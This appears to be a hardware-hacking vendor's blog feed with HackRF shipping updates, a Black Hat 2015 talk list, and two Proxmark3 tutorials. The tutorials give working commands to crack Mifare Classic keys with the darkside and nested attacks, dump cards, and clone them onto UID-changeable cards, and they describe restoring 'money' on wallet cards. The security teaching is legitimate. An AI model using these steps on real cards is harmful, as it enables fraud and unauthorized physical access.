Black Hat USA 2015 talks we are excited about at

Black Hat USA is coming up quickly and I’m excited to hear about all the latest research the community has been working on. I have a bias towards offense topics and hardware hacking topics, but here are the talks I’d want to learn more about:

  • Emanate Like a Boss: Generalized Covert Data Exfiltration with Funtenna
  • Take a Hacker to Work Day – How Federal Prosecutors Use the CFAA
  • Understanding and Managing Entropy Usage
  • Adventures in Femtoland: 350 Yuan for Invaluable Fun
  • Red vs Blue: Modern Active Directory Attacks Detection and Protection
  • Remote Exploitation of an Unaltered Passenger Vehicle
  • Stranger Danger! What is the Risk from 3rd Party Libraries?
  • Certifi-gate: Front-Door Access to Pwning Millions of Androids
  • Breaking Access Controls with BLEKey
  • Panel: How the Wassenaar Arrangements Export Control of Intrusion Software Affects the Security Industry
  • Forging the USB Armory an Open Source Secure Flash-Drive-Sized Computer
  • ZigBee Exploited the Good the Bad and the Ugly
  • Broadcasting Your Attack: Security Testing DAB Radio in Cars
  • ThunderStrike 2: Sith Strike

HackRF One shipping status

The second production run of HackRF is here, in stock and available to ship to customers. I’m working through the pre-order queue right now, and pre-orders between September and December have shipped already. December to February pre-orders will be shipped this week.

If you haven’t gotten your HackRF yet and have been waiting for them to become available again, it is time to put your order in.

Mifare Classic – Partial and Full Cloning

Now that we own the keys of a Mifare Classic card, we can move onto cloning them.

Just as a quick reminder, the steps to crack the keys were:

proxmark3> hf mf mifare
proxmark3> hf mf nested 1 0 A XXXXXXXXXXXX d

If you take a look inside the current folder where the client is running, you’ll find a binary file called “dumpkeys.bin”. Basically, it’s like a dump of the contents of the card but only the trail blocks, where keys are stored.

A really simple attack to an electronic wallet implementation using this type of cards is to dump the contents aka “money” and then use the credit and, after that, restore the contents, filling it with our “stored” money inside a binary file. Easy, right? In some poor implementations, this could work! In other implementations, you can even take “the money” from a card, and “paste it” into another one. Remember that the only block in a mifare card that you cannot modify is the block 0 in sector 0, where the UID of the cards is burnt in the Factory. So, if “the money” is related to it, the attack won’t work.

A couple of years ago, a “Magic Chinese Card” appeared. This card, that is also known as “UID Changeable Card” is a special card, in which you can manipulate the UID and the full sector 0. Some of these cards have a special feature, which we called “a backdoor”, you can use this card, modify its contents (yeap! Block 0 too!) without even knowing the keys! So if you forgot the keys, you can send some special frames to it to overwrite it whenever you need! Cool! So basically, FULL clones are possible!

Using proxmark after cracking the keys, you can execute:

proxmark3> hf mf dump

and you’ll get a file, just next the other one, with this name: dumpdata.bin

The other commands that you will finally use will be:

restore – Restore MIFARE classic binary file to BLANK tag
csetuid – Set UID for magic Chinese card

The first one will restore the data into the same card and the other, in case you own an UID changeable card, will set the uid to match the original one. In case the other card has got the same keys as the original card, a partial clone will be there.

Take a look at the other commands, just type: “hf mf” and look for commands for the Magic Card. You will understand them after Reading this post. Tip: the only difference is that you will need the info inside the simulator memory, not a file, but this is really easy to achieve: just take a look at the options while using the “nested” attack 😉

Well, we covered a lot of stuff around the Mifare Classic World using Proxmark. You can also take a look at the LibNFC project, you will be able to do kind of the same stuff here, using some standard readers… with some limitations…

If you’re following our posts and practicing, just mail us and we will be very happy to help you!

See you on the next post!

This post was from Nahuel Grisolia who is a Information Security Professional. He has delivered trainings and talks in conferences around the world such as BugCON (Mexico), H2HC (Brazil), Ekoparty (Argentina), OWASP events (Argentina), TROOPERS (Germany), PHDays (Russia), and Ground Zero Summit (India). He is specialized in Web Application Security, Penetration Testing and Hardware Hacking.

Proxmark – hF Band, NFC and Mifare Classic basic attacks

Firmware notice:

In case you didn’t notice, Proxmark3 source code has moved to GitHub! So, you have to pull the stuff from here: https://github.com/Proxmark/proxmark3. The good news are that update instructions are the same! So grab a fresh copy of the stuff and recompile, update the firmware, and you’re on the new wave. If you update like we did, your “hw ver” output should look something like this:

proxmark3> hw ver
#db# Prox/RFID mark3 RFID instrument
#db# bootrom: master/v1.1.0-7-gfdefed6-dirty-suspect 2014-09-05 13:31:36
#db# os: master/v1.1.0-7-gfdefed6-dirty-suspect 2014-09-05 13:31:37
#db# HF FPGA image built on 2014/ 6/19 at 21:26: 2
uC: AT91SAM7S256 Rev B
Embedded Processor: ARM7TDMI
Nonvolatile Program Memory Size: 256K bytes
Second Nonvolatile Program Memory Size: None
Internal SRAM Size: 64K bytes
Architecture Identifier: AT91SAM7Sxx Series
Nonvolatile Program Memory Type: Embedded Flash Memory
proxmark3>

Background:

But now let’s talk about High Frequency (HF) stuff!

When talking about HF the term NFC comes into light. HF operates in the band of 13.56Mhz which is just like NFC. There are some differences between HF RFID and NFC, but just to keep it simple we’re going to directly move into the NFC world, because most targets will be working using NFC definitions. The 3 main properties of NFC:

  1. NFC is capable of two way communication and can therefore be used for more complex interactions such as card emulation and peer-to-peer (P2P) sharing.
  2. NFC is limited to communication at close proximity, typically 5cm or less.
  3. Only a single NFC tag can be scanned at one time.

Please, read ISO14443 in order to understand more about NFC.

Onto Mifare Classic. Since I’m a WIKI fan, please refer to http://en.wikipedia.org/wiki/MIFARE in order to understand the basics of the Mifare Classic world and its derivates, and come back.

Demo / Code:

Now that you know the basics of HF RFID, NFC and Mifare Classic, let’s move inside the Proxmark3 command prompt. Remember to plug in the HF antenna!

 

proxmark3> hf mf
help This help
dbg Set default debug mode
rdbl Read MIFARE classic block
urdbl Read MIFARE Ultralight block
urdcard Read MIFARE Ultralight Card
uwrbl Write MIFARE Ultralight block
rdsc Read MIFARE classic sector
dump Dump MIFARE classic tag to binary file
restore Restore MIFARE classic binary file to BLANK tag
wrbl Write MIFARE classic block
chk Test block keys
mifare Read parity error messages.
nested Test nested authentication
[…snip…]

Note that we’re entering HF mode and then MF (Mifare stuff). Also note that we can deal with other tags of the Mifare family such as the Ultralight. But let’s focus on the Mifare Classic attacks first. Yay attacks! If you read enough about the MFC (Mifare Classic) you’ll see that there a set of keys protecting the data inside of it and you already know that there are more than 3 ways to crack all the 32 keys. First, we need a key, then escalate to the others and that is what we’re going to do now! Let’s go!

In order to run the first attack that will give us the first key, place your target Mifare Classic card over the HF antenna, and simply run:

proxmark3> hf mf mifare
————————————————————————-
Executing command. Expected execution time: 25sec on average 🙂
Press the key on the proxmark3 device to abort both proxmark3 and client.
————————————————————————-
….
wait a Little bit… and you’ll get (I have obfuscated some values ;):
uid(XXXXX) nt(XXXXX) par(XXXXX) ks(XXXXX) nr(XXXXX)
|diff|{nr} |ks3|ks3^5|parity |
+—-+——–+—+—–+—————+
| 00 |00000001| b | e |1,0,1,0,0,1,1,0|
| 20 |00000021| 7 | 2 |1,0,1,0,1,0,1,1|
| 40 |00000001| 1 | 4 |1,0,1,0,0,0,0,0|
| 60 |00000061| e | b |1,0,1,1,1,1,1,0|
| 80 |00000081| f | a |1,0,1,0,1,1,0,0|
| a0 |000000a1| 5 | 0 |1,0,1,1,0,0,0,1|
| c0 |00000001| c | 9 |1,0,0,1,0,0,1,0|
| e0 |000000e1| d | 8 |1,0,1,0,0,0,1,1|
key_count:1
——————————————————————
Key found:XXXXX
Found valid key:XXXXX

Nice! We have cracked the first key in just a matter of seconds! Now, let’s run the Nested Attack in order to escalate to the other 32 keys and get everything we need in order to read the entire memory contents:

proxmark3> hf mf nested 1 0 A KEY_HERE d
(wait a little bit… )
———————————————–
uid:xxx len=2 trgbl=0 trgkey=1
Found valid key:xxxxx
———————————————–
uid:xxx len=2 trgbl=4 trgkey=0
Found valid key:xxxxx
———————————————–
uid:xxx len=2 trgbl=4 trgkey=1
Found valid key:xxxxxx
———————————————–
and so on… then, finally, all keys are yours!
|—|—————-|—|—————-|—|
|sec|key A |res|key B |res|
|—|—————-|—|—————-|—|
|000| xxx | 1 | xxx | 1 |
|001| xxx | 1 | xxx | 1 |
|002| xxx | 1 | xxx | 1 |
[…snip…]

Now we own the keys and can obtain the memory contents next. After you run the command below you will get a binary file within the client folder that you can read using any HEX editor.

proxmark3> hf mf dump

That’s it! Three commands and less than four minutes to pull information out of a “secure” card. Awesome!

In our next post, we’re going to discuss some attacks against several implementations found in the wild, we’re going to use some special cards, and we’re going to understand a little bit more the world of Mifare Classic. Thanks for reading and reply to the post with any questions or feedback.

This post was from Nahuel Grisolia who is a Information Security Professional. He has delivered trainings and talks in conferences around the world such as BugCON (Mexico), H2HC (Brazil), Ekoparty (Argentina), OWASP events (Argentina), TROOPERS (Germany), PHDays (Russia), and Ground Zero Summit (India). He is specialized in Web Application Security, Penetration Testing and Hardware Hacking.

HackRF One Kits are shipping!

We got our shipment of HackRF One and ANT500 today. Most pre-orders went out today and the rest will go out tomorrow. For those in the United States, you should have your order in hand by this weekend. We still have HackRF One Kit inventory available so if you have been holding off / waiting for it to become available, now is the time.

Happy hacking 🙂